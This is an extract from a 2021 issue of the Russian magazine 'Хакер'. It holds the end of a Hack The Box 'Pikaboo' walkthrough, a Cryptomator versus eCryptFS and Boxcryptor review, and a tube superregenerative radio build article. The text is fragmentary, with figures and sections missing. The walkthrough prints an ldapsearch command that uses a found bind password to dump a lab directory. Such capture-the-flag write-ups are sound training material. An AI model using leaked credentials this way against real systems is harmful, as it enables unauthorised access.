LDAP
LDAP (Lightweight Directory Access Protocol) — это протокол, который исполь‐
зуется для хранения и получения данных из каталога с иерархической струк‐
турой. Обычно к нему прибегают для хранения информации об организации,
ее активах и пользователях. LDAP — это гибкое решение, которое можно
применять для представления разных сущностей и их свойств.
Подключимся и взглянем на всю информацию, которую нам вернет
базовый каталог. Для подключения укажем ldapsearch следующие парамет‐
ры:
• -x — использовать простую аутентификацию;
• -D — путь навигации для подключения;
• -w — пароль;
• -h — хост;
• -b — базовый путь, по которому выполняется поиск.
ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w
'J~42%W?PFHl]g' -h 127.0.0.1 -x -b "dc=pikaboo,dc=htb"
Флаг пользователя
Флаг рута
Машина пройдена!
ТРЮКИ
ОБЛАКО
ПОД ЗАЩИТОЙ
Олег Афонин
Эксперт по мобильной
ТЕСТИРУЕМ CRYPTOMATOR криминалистике компании
«Элкомсофт»
И ДРУГИЕ aoleg@voicecallcentral.com
ШИФРУЮЩИЕ ФС
Совместимость
Как уже упоминалось, eCryptFS есть в Linux и отсутствует на других плат‐
формах. Cryptomator доступен практически на всех распространенных дес‐
ктопных и мобильных платформах.
Скорость работы
Скорость доступа к зашифрованным папкам будет ниже, чем к обычным; это в
какой‑то мере ожидаемо. Однако в большинстве современных криптогра‐
фических файловых систем скорость доступа к зашифрованным файлам
падает катастрофически. Это связано не столько с самим фактом шиф‐
рования (аппаратное ускорение AES практически не замедляет работу),
сколько с накладными расходами. Для каждого файла нужно создать заголо‐
вок (eCryptFS) или файл‑компаньон (Cryptomator), в котором будут сохранены
метаданные шифрования; когда его открываешь, соответственно, этот
заголовок или отдельный файл нужно прочитать и обработать. Если речь идет
об одном крупном файле — падение производительности относительно
невелико, но при работе с множеством мелких (а фотографии и документы
относятся как раз к таким) скорость доступа падает в разы. От этого страдают
как eCryptFS, так и Cryptomator; последний даже в несколько большей сте‐
пени, если речь идет о множестве мелких файлов с длинными именами
(напомню, для таких файлов создаются отдельные папки и файлы‑компань‐
оны).
Несовершенная защита
Невозможно полностью защитить данные, если они хранятся за пределами
криптоконтейнера. Тот факт, что шифруются отдельные файлы и папки, поз‐
волит злоумышленнику получить некоторую информацию о зашифрованных
данных. Для eCryptFS эти данные таковы:
• структура файловой системы;
• точное число файлов;
• общий объем зашифрованных данных и размер каждого зашифрованного
файла (позволяет искать совпадения по размерам файлов);
• атрибуты файла (дата и время создания и последней модификации).
Мнение редактора
Стоит отметить, что сравнивать Cryptomator с eCryptFS можно исключительно
в вакууме. В отличие от eCryptFS, которая есть в любом дистрибутиве, Linux-
версия Cryptomator распространяется только в виде образа AppImage,
который весит 52 Мбайт и включает в себя Java-машину и графическую вер‐
сию приложения. Если же ты хочешь получить консольный вариант
Cryptomator, то единственный вариант — это использовать Cryptomator CLI,
распространяемый в виде файла JAR, для запуска которого требуется уже
установленная Java 11. Насколько удобно будет использовать такой инстру‐
мент в скриптах и на виртуальных серверах «Амазона», можешь представить
сам.
ОСОБЕННОСТИ CRYPTOMATOR
Создание зашифрованной папки в Cryptomator выглядит предельно просто.
Вводим название контейнера, выбираем место (по умолчанию предлагается
выбор между облачными провайдерами — в моем случае это Dropbox
и OneDrive, но поддерживаются и iCloud Drive, и Google Drive — и любой пап‐
кой на диске) и указываем пароль. Создаем (или не создаем) ключ восста‐
новления.
Эти файлы позволят смонтировать папку на других устройствах, в том числе
на смартфоне, если ты установишь туда приложение Cryptomator. Сам же
облачный сервис твоих файлов не увидит — точнее, увидит их зашифрован‐
ные версии.
Собственно, это то, ради чего все и затевалось: Dropbox хранит твои файлы,
но не может их расшифровать. Ты же сможешь установить на телефон при‐
ложение Cryptomator (приложение Dropbox для доступа к зашифрованной
папке не нужно, достаточно создать привязку в приложении Cryptomator),
ввести пароль от зашифрованной папки — и данные станут тебе доступны.
Продолжение статьи
→
ТРЮКИ ←
НАЧАЛО СТАТЬИ
G:.
| WELCOME.rtf
\---2016
+---07
| IMG_2016_07_01_16_14_5600.jpg
| IMG_2016_07_01_16_11_3900.jpg
| IMG_2016_07_01_16_11_4400.jpg
| IMG_2016_07_01_16_10_0700.jpg
| IMG_2016_07_01_16_14_1500.jpg
+---01
| IMG_2016_01_03_12_22_0900.jpg
| IMG_2016_01_03_12_22_0200.jpg
| IMG_2016_01_03_12_22_1100.jpg
| IMG_2016_01_03_12_21_5300.jpg
+---04
| IMG_2016_04_21_16_04_1500.jpg
+---05
| IMG_2016_05_01_14_34_0600.jpg
| IMG_2016_05_01_14_34_1000.jpg
| IMG_2016_05_01_14_34_0200.jpg
\---06
IMG_2016_06_03_18_01_0200.jpg
IMG_2016_06_03_18_00_4000.jpg
F:.
| IMPORTANT.rtf
| masterkey.cryptomator
| vault.cryptomator
\---d
+---4H
| \---TD3CWCFSTS7VUHGVTBDFPQZVO223U3
| +---0g9J-_jgFO_kMhu1urXobjwY.c9r
| | dir.c9r
| |
| +---cqTUhWxKgUxOKYRyEaLj5HRE.c9r
| | dir.c9r
| |
| +---m-DSWVeYyPogxkeGjpBFImj5.c9r
| | dir.c9r
| |
| +---ppPxaJGVhLPK8J0RmJ-But8t.c9r
| | dir.c9r
| |
| \---v086lvJ5yXGfctveff6UvvVO.c9r
| dir.c9r
+---77
+---JQ
+---NX
| \---E6PMXLIKCAKKERUMB3RVNKOOMYTESS
| 9l0EohTQJFHu7TioBlynQT16F9Oru9QngQ_2l4Vjm8FD83GSFPF_
DfquoMPr.c9r
| RrAwURAxq94yNNEiviSFgHCX9EXA9DgS9wQlg2i7U-tA3Gq3y_
8fZgka1IXS.c9r
| vIQ-JTS2L-J8D9UkeWairkOd6FMwHlJAT6G1j9BztwVH5eCKWJs-
h3o6xF2Y.c9r
| zchERCt2nRER1FT0q8PFTlnrVPPPRDHN8geUF59BQdbBK_
PgfWpP867IjII8.c9r
...
В версии для Windows Cryptomator работает по принципу fused file system
через WebDAV либо подсистему Dokany, которую предлагается дополнитель‐
но установить после установки Cryptomator. Стоит ли это делать? Я протес‐
тировал Cryptomator в нескольких конфигурациях на одном и том же контей‐
нере; результат — ниже.
Для начала на быстром SSD (Samsung 970 Evo Plus) в локальной папке был
создан пустой контейнер. Вот результат теста CrystalDiskMark.
Отмечу, что в этом случае CrystalDiskMark удалось завершить все тесты лишь
с третьей попытки; в двух первых проходили только первые два теста, а на
месте остальных были нули.
Далее я переместил зашифрованную папку в Ramdisk, чтобы исключить
влияние SSD на результаты тестирования. Для начала — скорость самого
рамдиска.
Особой разницы не наблюдаю. Теперь то же самое, но через Dokany. Бен‐
чмарк получился, как видишь, не очень.
« •
•
•
Email address
First and last name
Country
• Etc.
Честно говоря, не очень хочется разбираться, какие именно из этих ключей
»
могут быть использованы для восстановления доступа к зашифрованным
данным при утечке. В случае с Cryptomator делать этого и не нужно: никакие
ключи на внешних серверах не хранятся.
Двухфакторная аутентификация. Казалось бы, ее поддержку нужно
записать в плюсы Boxcryptor, но при использовании Cryptomator двухфактор‐
ная аутентификация не поддерживается просто потому, что нет и однофак‐
торной: учетная запись требуется только для Boxcryptor.
Стабильность работы. +1 в пользу Boxcryptor: проект старше и лучше
отлажен.
Шифрование имен файлов и папок. Есть в обоих продуктах, но в
Boxcryptor — только за деньги. Еще +1 в пользу Cryptomator.
Ограничения на число устройств и облачных сервисов.
У Boxcryptor есть ограничения в зависимости от выбранного плана;
у Cryptomator таких ограничений нет. Еще +1 в пользу Cryptomator.
Обфускация структуры файловой системы. И снова +1 в пользу
Cryptomator. Этот пункт, пожалуй, стоит пояснить развернуто. Существуют
продукты, которые создают определенную структуру каталогов, и в каждом
из них могут быть свои подкаталоги и/или определенное количество файлов.
Анализ файловой структуры, таким образом, может помочь атакующему
догадаться, что используется та или иная программа.
Возможность коллаборации через ссылки на файлы (без указания
пароля): а вот здесь +1 получает Boxcryptor. В Boxcryptor есть возможность
организовать совместную работу над документом несколькими пользовате‐
лями, при этом ни один из них не должен будет разглашать свой пароль.
Таким образом, Cryptomator выигрывает с разгромным счетом
при использовании в домашних условиях за единственным исключением:
синхронизация фотографий. Boxcryptor, с другой стороны, позволяет ком‐
паниям организовать совместную работу над документами, предлагает более
стабильное и отлаженное приложение, синхронизацию фотографий
и интеграцию с Files в iOS.
ЗАКЛЮЧЕНИЕ
Нуждаются ли твои данные в дополнительной защите — решать тебе. Веро‐
ятно, нуждаются, но не все. Вероятно, ты захочешь защитить цифровые копии
документов (паспорта, водительские права) и какие‑то еще данные, доступ
к которым может потребоваться в неожиданный момент и в неожиданном
месте.
«Личный сейф OneDrive» способен успокоить нервы технически малог‐
рамотных пользователей; как‑то особенно защитить (а тем более зашиф‐
ровать) твои данные он не может. Известный способ с криптоконтейнером
в облаке по‑прежнему работает и по‑прежнему безопасен, однако проигры‐
вает в удобстве более современным вариантам, в роли которых выступают
криптографические облачные системы.
Самых распространенных вариантов сегодня два: появившийся чуть рань‐
ше платный сервис Boxcryptor и проект с открытым исходным кодом
Cryptomator. Оба продукта решают одну и ту же задачу, но делают это по‑раз‐
ному. Результат моего исследования достаточно однозначен: если брать
для себя, бери Cryptomator — это бесплатно, удобно и безопасно. Компани‐
ям может больше подойти Boxcryptor, но только в том случае, если необ‐
ходимо организовать совместную работу над документами через облачные
сервисы.
GEEK
СВЕРХ
РЕГЕНЕРАТОР СОБИРАЕМ
РАДИОПРИЕМНИК
ИЗ ВОСЬМИ
ДЕТАЛЕЙ
Candidum
duospirit@gmail.com
INFO
Я регулярно собираю радиоприемники различных
конструкций и делюсь своим опытом с читате‐
лями:
•Ламповый сигнал. Собираем FM-радиопри‐
емник на лампах
•Лампы по‑новому. Собираем ламповый при‐
емник с современным управлением
•Секреты SI473X. Делаем приемник и ищем
скрытые возможности микросхемы SDR
•Супергетеродин. Как я собрал коротковол‐
новый радиоприемник на STM32 и Si5351
ИСТОРИЯ
Здесь стоит начать несколько издалека, а именно с изобретения Ли де
Форестом трехэлектродной лампы в 1906 году.
Первый триод
На фотографии не видно нити накала — она, вероятно, сгорела или осы‐
палась. Но так или иначе это первая лампа, способная усиливать сигнал,
с нее все и началось. Примерно в 1912 году Ли де Форест и независимо
от него Эдвин Армстронг изобретают регенеративный приемник. На самом
деле на первенство в этом вопросе претендовали еще несколько человек,
но это не так важно. Любопытнее, что начиная с 1914 года Форест
с Армстронгом судились за право считаться изобретателем этого девайса
и успокоились только в 1934-м, когда патент стал уже неактуален.
Первенство переходило из рук в руки четырнадцать раз и в итоге осталось
за Форестом. На этом мы оставим Фореста и будем дальше говорить
об Армстронге. Перед инженерами и любителями в то время стояла острая
проблема: как выжать из лампы все, что она может. Ведь тогдашние лампы
обладали очень скромными параметрами (низкий коэффициент усиления,
низкая предельная частота) и при этом очень нескромной ценой.
РЕГЕНЕРАТОР
Идея решения этой проблемы — использовать положительную обратную
связь — витала в воздухе давно. На рисунке представлена схема типичного
для тех времен регенеративного приемника, она взята из более позднего
издания, но лишь для того, чтобы больше напоминала современную манеру
начертания схем — смотреть привычнее, а суть та же. Ее можно назвать схе‐
мой Армстронга. Отличительная черта этой схемы — индуктивная обратная
связь.
Ультрааудион Фореста
Ультрааудион
СВЕРХРЕГЕНЕРАТОР
И вот примерно в 1922 году Армстронгу пришла в голову идея периодически
срывать генерацию в регенераторе. В этом случае можно не волноваться
о пороге генерации, наоборот, разумно выставлять обратную связь
за порогом. Для срыва генерации Армстронг использовал внешний генера‐
тор относительно низкой частоты, выше частоты голоса, но значительно ниже
частоты сигнала. Такая схема называется «сверхрегенератор с внешней
суперизацией».
Здесь все примерно так же, как и в предыдущей схеме, с той лишь разницей,
что лампа одна и высокочастотные колебания генерируются лишь во время
определенного напряжения на вспомогательном контуре частоты гашения.
Сам Армстронг указывает, что первая схема работает лучше и устойчивее.
Перевод упомянутой статьи вышел и у нас в журнале «Друг радио»
в мае 1925 года. Внимательный читатель заметит, что в схемах из американ‐
ской статьи отсутствует гридлик, тогда как в нашем переводе он появляется.
Это тоже связано с глубиной вакуума ламп. Кстати говоря, существует
еще одна схема сверхрегенератора с автосуперизацией, где периодический
срыв генерации достигается именно за счет гридлика. Это схема Флю‐
эллинга, представленная в 1923 году.
Схема Флюэллинга
Как видишь, она один в один похожа на схему классического регенератора,
отличия тут только в емкости сеточного конденсатора и сопротивлении грид‐
лика. При возникновении генерации конденсатор заряжается до такой сте‐
пени, чтобы закрыть лампу и сорвать генерацию. После этого конденсатор
начинает разряжаться через сопротивление утечки, что через какое‑то время
приведет к новой вспышке генерации. Несмотря на то что две последние схе‐
мы подразумевают автосуперизацию, их следует различать. В схеме
Армстронга частота суперизации постоянна, тогда как в схеме Флюэллинга
она меняется вместе с интенсивностью входящего сигнала, и это существен‐
но влияет на механизм детектирования сигнала, о чем мы поговорим чуть
позже.
На древние схемы мы поглядели, осталось разобраться, как они работа‐
ют. Идея оказалась вполне жизнеспособной и, судя по отзывам из пуб‐
ликаций двадцатых годов, обеспечивала очень высокую по тем временам
чувствительность. Однако именно в двадцатых годах она не пользовалась
популярностью, в отличие от рассмотренного выше регенератора. В чем при‐
чина? А причин было несколько.
Во‑первых, начиная с Армстронга и вплоть до конца двадцатых годов
сверхрегенераторы использовались преимущественно на длинных и средних
волнах. Из этого и вытекали все проблемы. Как выяснилось позднее, для нор‐
мальной работы сверхрегенератора частота гашения должна быть по мень‐
шей мере в 100 раз ниже частоты сигнала, лишь на средних волнах ее можно
было поднять до 10 кГц. Дело в том, что частота гашения попадала напрямую
на наушники или динамик, что звучало как раздражающий свист. Впрочем,
до какой‑то степени этот недостаток нивелировался капсульными науш‐
никами, у которых сильный провал в АЧХ выше 5 кГц. Но так как амплитуда
сигнала гашения во много раз больше амплитуды полезного сигнала, даже
капсульные наушники заметно свистели. На длинных волнах, где частоту
гашения надо опустить ниже 5 кГц, не спасет даже ФНЧ, с которыми в то вре‐
мя была напряженка. Уже одна эта проблема сильно подмочила репутацию
сверхрегенератора.
Во‑вторых, он отличается низкой селективностью, что на длинных, средних
и даже коротких волнах неприемлемо. И в целом эта проблема плохо реша‐
ется. В‑третьих, сверхрегенератор излучает при своей работе на той частоте,
которую принимает, создавая помехи другим приемникам. Наконец, в‑чет‐
вертых, сказалась сложность настройки и капризность сверхрегенераторов,
особенно если пытаться их настраивать без приборов. Да, настроить схему
из нескольких деталей иногда бывает непросто, и сверхрегенератор — одна
из таких схем.
Слушать сквозь свист и вой какофонию из нескольких станций, если вдруг
все‑таки удастся эту штуку запустить, — такое себе удовольствие, особенно
учитывая недовольство соседей из‑за создаваемых сверхрегенератором
помех. В итоге на длинных, средних и коротких волнах в двадцатые годы бал
правили регенераторы. Сверхрегенератор так и остался бы остроумным
курьезом, если бы не началось освоение УКВ.
Поначалу процесс шел медленно, но, когда в конце двадцатых промель‐
кнула публикация о лучах смерти, тема быстро начала набирать обороты. Бук‐
вально за пять лет был взят сначала рубеж метровых волн, а затем децимет‐
ровых и сантиметровых. Короче, частоты росли, как у процессоров в девянос‐
тые. И вот тут сверхрегенераторы проявили себя, так как начиная где‑то
с 10М регенератор работает неустойчиво. Кроме того, первые простейшие
передатчики совсем не отличались стабильностью частоты, в результате чего
низкая селективность сверхрегенератора стала его плюсом: так намного
проще настроиться на сигнал, и он не уплывет при небольшом дрейфе час‐
тоты передатчика.
Другим очень актуальным тогда преимуществом было то, что сверхрегене‐
ратор требовал только одну лампу. Более того, подходила даже отечествен‐
ная лампа «Микро», выпускавшаяся с начала двадцатых годов.
Лампа «Микро»
Симметричная схема
Продолжение статьи
→
GEEK ←
НАЧАЛО СТАТЬИ
СВЕРХРЕГЕНЕРАТОР
СОБИРАЕМ РАДИОПРИЕМНИК ИЗ ВОСЬМИ
ДЕТАЛЕЙ
Колебательный контур
Контур в генераторе
Сильный сигнал
Работает такой хак достаточно неплохо, однако за это приходится платить
плохой линейностью. Резонансная кривая описывается гауссовой функцией,
и ее скаты лишь с очень большой натяжкой можно назвать прямой. Чувстви‐
тельность тоже страдает, так как приходится работать с некоторой отстрой‐
кой от максимума кривой, где чувствительность максимальна, — но такова
плата за простоту.
Поэтому ждать от сверхрегенератора Hi-Fi не стоит, а вот аутентичного
звука из сороковых — сколько угодно. Что же до чувствительности, то хоть
она и не максимальна, но достаточно высока. Рассмотренная ниже схема
при входном сигнале порядка 100 мкВ дает на выходе сигнал звуковой час‐
тоты около 1 В. Это говорит о том, что коэффициент усиления
как минимум 10 000, что очень и очень солидная величина для схемы
на одной лампе. На этом, думаю, можно закончить с теорией и наконец взять‐
ся за паяльник.
Продолжение статьи
→
GEEK ←
НАЧАЛО СТАТЬИ
СВЕРХРЕГЕНЕРАТОР
СОБИРАЕМ РАДИОПРИЕМНИК ИЗ ВОСЬМИ
ДЕТАЛЕЙ
ПРАКТИКА
Начнем с базовой схемы. Она проста как пять копеек.
Почему приемник собран именно на лампе? Дело в том, что ламповый свер‐
хрегенератор схемотехнически наиболее прост, кроме того, есть в ламповых
конструкциях какая‑то романтика. Что касается выбора лампы — можно ска‐
зать, подойдет практически любой триод, тетрод или пентод, желательно,
конечно, высокочастотный и с крутизной побольше. Чем выше крутизна при‐
мененной лампы, тем менее критична конструкция к исполнению.
Тем не менее хочется, чтобы приемничек был автономный и его можно
было запитать от батареек. При этом было бы здорово не менять их каждый
день. Такому требованию лучше всего удовлетворяют стержневые сверхми‐
ниатюрные лампы — наш ответ нувисторам.
У стержневых ламп очень низкий ток накала, что позволяет приблизиться
по потреблению к транзисторным устройствам. Так, у использованной мной
лампы 1Ж17б ток накала 48 мА, у лампы 1Ж29б — 60 мА, а у 1Ж24б и вов‐
се 18 мА. Кроме того, они отлично чувствуют себя на высоких частотах.
Единственный минус — это низкая крутизна, за исключением 1Ж29Б,
у которой 2,5 мА/В. У остальных стержневых около 1 мА/В. Ну да как с этим
бороться, нам известно: надо делать контур большей добротности, нап‐
ример, в виде единичного витка из толстого медного провода.
Я сделал контур из медного провода сечением 2,5 мм и длиной око‐
ло 30 см, катушка связи изготовлена из того же провода. Для настройки
используется два подстроечных конденсатора, один — для грубой настройки,
второй — для точной подстройки: настраиваться одним конденсатором край‐
не неудобно. Монтаж велся в манхэттенском стиле. Дроссель можно исполь‐
зовать заводской на 100 мкГн, но лучшие результаты дает самодельный.
Для этого можно взять 75–100 см провода сечением 0,2 мм, намотать его
на каркас диаметром около 5 мм. Его индуктивность, разумеется, гораздо
меньше 100 мкГн, однако длина провода близка к 1/4 длины волны.
WARNING
Сверхрегенератор во время работы излучает сиг‐
нал в эфир и создает помехи окружающим при‐
емникам, особенно если он не настроен и не про‐
исходит срыва собственных колебаний. Впрочем,
сейчас это уже не так критично, поскольку радио
слушают мало, но этот эффект надо держать
в уме. А с точки зрения законодательства
без лицензии в диапазоне ФМ можно вещать
с мощностью до 10 мВт. При правильной нас‐
тройке рассмотренные схемы вписываются в этот
предел с запасом.
INFO
Любопытный факт: если просто отключить
питание генератора гашения, то схема перейдет
в режим автосуперизации, однако частота вспы‐
шек теперь будет определяться уже не цепочкой
R1 — C1, а именно цепочкой R3 — С9. Принцип
там точно такой же, как и в первой схеме, однако
настраивать частоту автосуперизации в таком
случае иногда удобнее. Этот метод генерации
колебаний гашения гораздо реже встречается
в литературе, однако иногда используется.
Макет в сборе
БОНУС
Ну и в качестве бонуса. Казалось бы, что еще можно выдавить из этой прос‐
тейшей схемы? А кое‑что можно: превратить ее в передатчик! Для этого нуж‐
но уменьшить сопротивление R1 до нескольких сотен килоом, а вместо
колебаний гашения подавать на управляющую сетку лампы аудиосигнал
амплитудой порядка 200 мВ. Наушники следует отключить, а питание
подавать прямо на конденсатор С6. Все, передатчик готов!
Любопытный вопрос: какая у него модуляция? В литературе такой тип
модуляции называют смешанной, и мне представлялось, что она в значитель‐
ной степени амплитудная. Однако эксперимент показал, что модуляция
получается частотная узкополосная (смотрел SDR-приемником). Если тебе
интересно, как получается частотная модуляция, отвечу: за счет изменения
емкости лампы.
Да, у лампы в зависимости от приложенного напряжения меняется
емкость, это происходит из‑за изменения размера и плотности электронного
облака вокруг катода или, как правильнее говорить, объемного заряда
катода. Эти изменения емкости не такие существенные, как у полупровод‐
ников, но для модуляции вполне хватает. Сигнал этого передатчика был уве‐
ренно слышен по всей квартире на RTL-SDR с пятисантиметровой антенной.
Ориентировочная мощность такого передатчика составляет 5 мВт. Если
взять лампу покруче, можно выжать значительно больше, особенно если
еще озаботиться согласованием с антенной. Но это незаконно и влечет
за собой административную ответственность. Принимать сигнал такого
передатчика, судя по описаниям в литературе, можно на сверхрегенератор,
а значит, есть возможность создать трансивер на одной лампе.
СТАНЬ АВТОРОМ
«ХАКЕРА»!
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.
TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№12 (273)
РЕДАКТОРЫ РУБРИК
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2021